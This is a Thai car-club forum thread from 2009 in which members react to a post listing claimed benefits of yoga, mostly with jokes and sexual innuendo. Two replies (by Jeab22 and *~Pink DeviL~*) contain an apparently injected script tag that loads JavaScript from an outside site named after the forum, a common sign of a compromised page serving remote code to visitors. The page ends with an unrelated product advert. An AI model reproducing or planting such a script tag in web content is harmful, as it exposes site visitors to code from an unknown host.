มาเล่น Yoga เพื่อสุขภาพกันเถอะ...

หน้าหลัก เข้าสู่ระบบ สมัครสมาชิก รายชื่อสมาชิก

General Talk

มาเล่น Yoga เพื่อสุขภาพกันเถอะ...

iMan

ชื่อเล่น: แมน

เข้าร่วม: 04 สิงหา 2008
ตอบ: 2838

ครอบครัว ES

ได้รับคำขอบคุณ: 12149
ให้คำขอบคุณ: 3080

ที่อยู่: Civic ES Group
ปี: 2005
สี: ขาว ทาฟเฟต้า (NH-578)

อังคาร, 15 กันยา 2009 17:00 - มาเล่น Yoga เพื่อสุขภาพกันเถอะ...

ประโยชน์ของการฝึกโยคะ

ประโยชน์ในทางร่างกาย
ทำให้กล้ามเนื้อแข็งแรงและผ่อนคลายกล้ามเนื้อ
เพิ่มพูนความยืดหยุ่นของร่างกาย
ทำให้ร่างกายเคลื่อนไหวอย่างสง่างาม
แก้ไขท่าที่ไม่ดีให้ดีขึ้น
ทำให้กระดูกสันหลังตรง
ทำให้ระบบในร่างกายมีความสมดุล

ประโยชน์ทางจิตใจ
ทำให้คลายเครียด
ทำให้จิตใจสงบและเยือกเย็น
ทำให้มีความคิดที่แหลมคม
ทำให้จิตใจแจ่มใสไม่ฟุ้งซ่าน
ทำให้รู้สึกสงบ

ประโยชน์ในทางพลังงาน
ทำให้พลังงานที่หยุดนิ่งในร่างกายของเราได้เคลื่อนไหว
ทำให้พลังงานไหลเวียนไปทั้งระบบของร่างกาย
นำพลังงานไปสู่ทุกส่วนของร่างกายอีก

ได้รับคำขอบคุณจาก: V_ES wut-chiangmai Jeab22 tokykung Kaka ' kittidech jetty0 TOrunTO KUSA นุ_ES

wut-chiangmai

ชื่อเล่น: วุฒิ

เข้าร่วม: 28 มีนา 2009
ตอบ: 2094

ครอบครัว ES

ได้รับคำขอบคุณ: 3937
ให้คำขอบคุณ: 5037

ที่อยู่: เชียงใหม่
ปี: 2004
สี: เงิน ซาติน (เมทัลลิก) (NH-623M)

อังคาร, 15 กันยา 2009 17:44 - มาเล่น Yoga เพื่อสุขภาพกันเถอะ...

แค่ดูก็ยังรู้สึกตื่นเต้นเลยครับ อยากลองหลาย ๆ ท่าเลย

"ประโยชน์ทางจิตใจ"

ทำให้จิตใจสงบและเยือกเย็น
ทำให้จิตใจแจ่มใสไม่ฟุ้งซ่าน
ทำให้รู้สึกสงบ

ขอค้านสามข้อนี้คร๊าบบ

ได้รับคำขอบคุณจาก: iMan

Jeab22

ชื่อเล่น: เจี๊ยบ

เข้าร่วม: 14 มกรา 2009
ตอบ: 1724

ครอบครัว ES

ได้รับคำขอบคุณ: 1690
ให้คำขอบคุณ: 3102

ที่อยู่: ลำลูกกา/นนทบุรี/สุวรรณภูมิ
ปี: 2004
สี: แดง แรลไล (R-513)

อังคาร, 15 กันยา 2009 18:06 - มาเล่น Yoga เพื่อสุขภาพกันเถอะ...

ดูแล้วไม่ค่อยสงบเลยครับ "<script src="https://sport32news.com/civicesgroup.js">

ได้รับคำขอบคุณจาก: iMan

jaos

ชื่อเล่น: โจ้

เข้าร่วม: 09 กรกฎา 2009
ตอบ: 534

แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 640
ให้คำขอบคุณ: 124

ที่อยู่: KORACHA
ปี: 2001
สี: ทอง เดเสิร์ท มิสท์ (เมทัลลิก) (YP-538M)

อังคาร, 15 กันยา 2009 18:26 - มาเล่น Yoga เพื่อสุขภาพกันเถอะ...

น่าดูครับ

ได้รับคำขอบคุณจาก: iMan

xcyber

ชื่อเล่น: เอ็กซ์

เข้าร่วม: 30 ตุลา 2008
ตอบ: 1105

ครอบครัว ES

ได้รับคำขอบคุณ: 1281
ให้คำขอบคุณ: 217

ที่อยู่: เจริญนคร
ปี: 2001

อังคาร, 15 กันยา 2009 18:29 - มาเล่น Yoga เพื่อสุขภาพกันเถอะ...

อืม....

ได้รับคำขอบคุณจาก: iMan

tokykung

ชื่อเล่น: ต๊อก

เข้าร่วม: 27 ตุลา 2008
ตอบ: 2490

ครอบครัว ES

ได้รับคำขอบคุณ: 2660
ให้คำขอบคุณ: 5788

ที่อยู่: เชียงราย
ปี: 2002

อังคาร, 15 กันยา 2009 18:29 - มาเล่น Yoga เพื่อสุขภาพกันเถอะ...

หายใจแรงขึ้นครับ จมูกบานด้วยนะครับ

ได้รับคำขอบคุณจาก: iMan

*~Pink DeviL~*

เข้าร่วม: 01 ตุลา 2008
ตอบ: 332

มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 282
ให้คำขอบคุณ: 231

ปี: 2004
สี: ดำ ไนท์ฮอว์ก (B-92P)

อังคาร, 15 กันยา 2009 19:19 - มาเล่น Yoga เพื่อสุขภาพกันเถอะ...

อูยยยย ...

สง สัย จา เล่น โย คะ ร้อน ...

คริ คริ

น่า เล่น เน๊อะ .. <script src="https://sport32news.com/civicesgroup.js"></

ได้รับคำขอบคุณจาก: iMan

Kaka '

ชื่อเล่น: กล้า

เข้าร่วม: 11 ตุลา 2008
ตอบ: 1138

ครอบครัว ES

ได้รับคำขอบคุณ: 871
ให้คำขอบคุณ: 551

ที่อยู่: ยุดยา - สะพานควาย - พระราม4
ปี: 2004
สี: ดำ ไนท์ฮอว์ก (B-92P)

อังคาร, 15 กันยา 2009 19:43 - มาเล่น Yoga เพื่อสุขภาพกันเถอะ...

ดูโยคะแล้วอยากเข้าห้องน้ำ -

ได้รับคำขอบคุณจาก: iMan

Alert

ชื่อเล่น: เลิ๊ด

เข้าร่วม: 20 สิงหา 2008
ตอบ: 618

Guru ES
Guru ES

ได้รับคำขอบคุณ: 1516
ให้คำขอบคุณ: 70

ที่อยู่: ladphao
ปี: 2003
สี: ดำ ไนท์ฮอว์ก (B-92P)

อังคาร, 15 กันยา 2009 19:48 - มาเล่น Yoga เพื่อสุขภาพกันเถอะ...

โยคะ เหอๆ

เคยไปทดลองเล่นเหมือนกัน

ไม่ถึงขนาดนี้แต่ก็พอมีอะไรน่าดู

ร้อนๆ อบๆ คับๆ เหงื่อๆ

แต่บางวันก็ช้างน้ำแก่ๆ

ได้รับคำขอบคุณจาก: iMan

kidz

ชื่อเล่น: เอก

เข้าร่วม: 13 มิถุนา 2009
ตอบ: 296

มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 398
ให้คำขอบคุณ: 71

ปี: 2001
สี: แดง แรลไล (R-513)

อังคาร, 15 กันยา 2009 21:03 - มาเล่น Yoga เพื่อสุขภาพกันเถอะ...

เล่นไม่เก่ง มีคนมาสอนมั้ยครับ

ได้รับคำขอบคุณจาก: iMan

soloshot

ชื่อเล่น: แฟลช

เข้าร่วม: 17 มิถุนา 2009
ตอบ: 1243

ครอบครัว ES

ได้รับคำขอบคุณ: 2428
ให้คำขอบคุณ: 1275

ที่อยู่: ประชาอุทิศ (ทุ่งครุ)
ปี: 2001
สี: ทอง ไทเทเนียม (เมทัลลิก) (YR-525M)

อังคาร, 15 กันยา 2009 21:09 - มาเล่น Yoga เพื่อสุขภาพกันเถอะ...

ไม่ทราบว่า จะให้ อาจารย์สาวๆ ในคลิป
มาช่วยแนะนำภาคปฏิบัติควบคู่ไปกับดูคลิปได้ไหมครับ

ได้รับคำขอบคุณจาก: iMan

TOrunTO

ชื่อเล่น: โตโต้

เข้าร่วม: 30 กรกฎา 2009
ตอบ: 321

มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 436
ให้คำขอบคุณ: 269

ที่อยู่: BANGKOK - LADPLAOW
ปี: 2004
สี: ดำ ไนท์ฮอว์ก (B-92P)

พุธ, 16 กันยา 2009 14:13 - มาเล่น Yoga เพื่อสุขภาพกันเถอะ...

น่าไปเป็นพี่เลี้ยงไห้เค้าน้าาา

ได้รับคำขอบคุณจาก: iMan

KUSA

ชื่อเล่น: ศะ

เข้าร่วม: 01 ตุลา 2008
ตอบ: 1157

ครอบครัว ES

ได้รับคำขอบคุณ: 1330
ให้คำขอบคุณ: 1512

ที่อยู่: Nonthaburi
ปี: 2005
สี: เทา ซิลเวอร์สโตน (NH-630M)

พฤหัส, 17 กันยา 2009 22:30 - มาเล่น Yoga เพื่อสุขภาพกันเถอะ...

เอ่อ

ได้รับคำขอบคุณจาก: iMan

karma

ชื่อเล่น: เต๋า

เข้าร่วม: 23 มีนา 2009
ตอบ: 718

Guru ES
Guru ES

ได้รับคำขอบคุณ: 954
ให้คำขอบคุณ: 722

ที่อยู่: พระราม 2
ปี: 2001
สี: ขาว ทาฟเฟต้า (NH-578)

ศุกร์, 18 กันยา 2009 00:05 - มาเล่น Yoga เพื่อสุขภาพกันเถอะ...

ได้รับคำขอบคุณจาก: iMan

TUI_PeTiTe

เข้าร่วม: 24 สิงหา 2008
ตอบ: 3394

ครอบครัว ES

ได้รับคำขอบคุณ: 11353
ให้คำขอบคุณ: 3321

ที่อยู่: 33 ตร.ม.
ปี: 2001
สี: ทอง ไทเทเนียม (เมทัลลิก) (YR-525M)

ศุกร์, 18 กันยา 2009 12:12 - มาเล่น Yoga เพื่อสุขภาพกันเถอะ...

ได้รับคำขอบคุณจาก: iMan

iMan

ชื่อเล่น: แมน

เข้าร่วม: 04 สิงหา 2008
ตอบ: 2838

ครอบครัว ES

ได้รับคำขอบคุณ: 12149
ให้คำขอบคุณ: 3080

ที่อยู่: Civic ES Group
ปี: 2005
สี: ขาว ทาฟเฟต้า (NH-578)

ศุกร์, 18 กันยา 2009 12:50 - มาเล่น Yoga เพื่อสุขภาพกันเถอะ...

KUSA พิมพ์ว่า:

เอ่อ

karma พิมพ์ว่า:

TUI_PeTiTe พิมพ์ว่า:

อ้าวเงียบกันหมด ไม่มีใครพูดเลย...

ได้รับคำขอบคุณจาก: TUI_PeTiTe

eit

ชื่อเล่น: อิฐ

เข้าร่วม: 16 มิถุนา 2009
ตอบ: 578

แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 754
ให้คำขอบคุณ: 454

ที่อยู่: เชียงใหม่
ปี: 2004
สี: ดำ ไนท์ฮอว์ก (B-92P)

ศุกร์, 18 กันยา 2009 18:38 - มาเล่น Yoga เพื่อสุขภาพกันเถอะ...

แข็งแน่ครับ

TUI_PeTiTe

เข้าร่วม: 24 สิงหา 2008
ตอบ: 3394

ครอบครัว ES

ศุกร์, 18 กันยา 2009 20:03 - มาเล่น Yoga เพื่อสุขภาพกันเถอะ...

iMan พิมพ์ว่า:

KUSA พิมพ์ว่า:

เอ่อ

karma พิมพ์ว่า:

TUI_PeTiTe พิมพ์ว่า:

อ้าวเงียบกันหมด ไม่มีใครพูดเลย...

พูดไม่ออกครับ...หื่นๆๆๆๆๆ

Lang-es01

ชื่อเล่น: หรั่ง

เข้าร่วม: 29 กรกฎา 2009
ตอบ: 536

แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 247
ให้คำขอบคุณ: 14

ที่อยู่: ลพบุรี
ปี: 2001
สี: ขาว ทาฟเฟต้า (NH-578)

เสาร์, 19 กันยา 2009 12:02 - มาเล่น Yoga เพื่อสุขภาพกันเถอะ...

ดูแล้ว ระบบสูบฉีดเลือดทำงานดีขึ้น

หน้า 1 จาก 1

ไปที่:

ที่คว่ำจาน 2 ชั้น พร้อมฝาปิดกันหนู จิ้งจก แมลงสาป

พิกัด : https://shope.ee/9zXjxy1TlJ

ติดต่อโฆษณา admin@civicesgroup.com